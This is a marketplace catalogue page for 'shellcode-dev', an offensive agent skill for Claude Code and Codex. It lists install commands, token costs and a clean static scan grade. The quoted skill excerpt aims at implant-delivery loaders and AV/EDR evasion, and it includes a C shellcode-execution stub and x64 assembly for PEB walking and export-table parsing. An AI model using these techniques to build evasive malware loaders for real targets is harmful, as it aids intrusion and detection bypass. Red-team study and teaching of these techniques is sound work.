shellcode-dev

A development guide for writing shellcode: small machine-code programs designed to run from memory, often without normal program files or fixed addresses. It covers position-independent code, loaders, API lookup, encoding, and cross-platform techniques.

In plain words
What is it for?
Creating x86 or x64 shellcode and loaders, converting PE files to shellcode, handling Windows and Linux address lookup, and avoiding null bytes.
Why use it?
It explains how to build shellcode that can locate needed system functions and run under memory and platform constraints. The description also includes methods intended to avoid antivirus or endpoint-detection signatures.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/hypnguyen1209/offensive-claude/shellcode-dev
Any agent
npx skills add hypnguyen1209/offensive-claude --skill shellcode-dev
Clone the repo
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude

Made for: Claude Code, Codex.

Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,372 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00041 $0.05372
Opus 5 $0.00020 $0.02686
Sonnet 5 $0.00008 $0.01074
Haiku 4.5 $0.00004 $0.00537

Measured 2d ago against content hash 05c14c864991, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

shellcode-dev scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/shellcode-dev/SKILL.md · 548 lines

How it starts

The opening of the file, as written. The whole thing — 548 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Shellcode Development

When to Activate

  • Writing custom x86/x64 shellcode
  • Implementing position-independent code (PIC)
  • Building shellcode loaders for implant delivery
  • Evading AV/EDR static detection
  • Converting PE files to shellcode
  • Cross-platform shellcode development

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:

// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();

Position-Independent Code (PIC)

Method Platform Notes
Call/Pop Windows Push next addr, pop into register
FPU state (fstenv) Windows Saves instruction pointer
SEH Windows Exception handler stores EIP
RIP-relative x64 lea rax, [rip+offset]
GOT Linux Global Offset Table
VDSO Linux Kernel-provided shared object

Windows API Resolution (PEB Walk)

; x64 PEB walk to find kernel32.dll base
find_kernel32:
    xor rcx, rcx
    mov rax, gs:[rcx + 0x60]       ; RAX = PEB
    mov rax, [rax + 0x18]          ; RAX = PEB->Ldr
    mov rsi, [rax + 0x20]          ; RSI = InMemoryOrderModuleList
    lodsq                           ; skip first entry (exe)
    xchg rax, rsi
    lodsq                           ; skip ntdll
    mov rbx, [rax + 0x20]          ; RBX = kernel32 base address

Export Address Table (EAT) Parsing

; Parse EAT to find GetProcAddress
    mov ebx, [rbx + 0x3C]          ; PE signature offset
    add rbx, r8                     ; PE header
    mov edx, [rbx + 0x88]          ; Export Directory RVA
    add rdx, r8                     ; Export Directory VA
    mov r10d, [rdx + 0x14]         ; NumberOfFunctions
    mov r11d, [rdx + 0x20]         ; AddressOfNames RVA
    add r11, r8                     ; AddressOfNames VA
    ; Loop through names, compare hash/string

Read the full file on GitHub · 548 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 548 lines · 41 tokens per session scan A 05c14c864991

Subscribe to this mod's changes

shellcode-dev is a skill published in the GitHub repository hypnguyen1209/offensive-claude (352 stars, last pushed 16d ago), licensed MIT. It adds 41 tokens to every session and 5,372 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.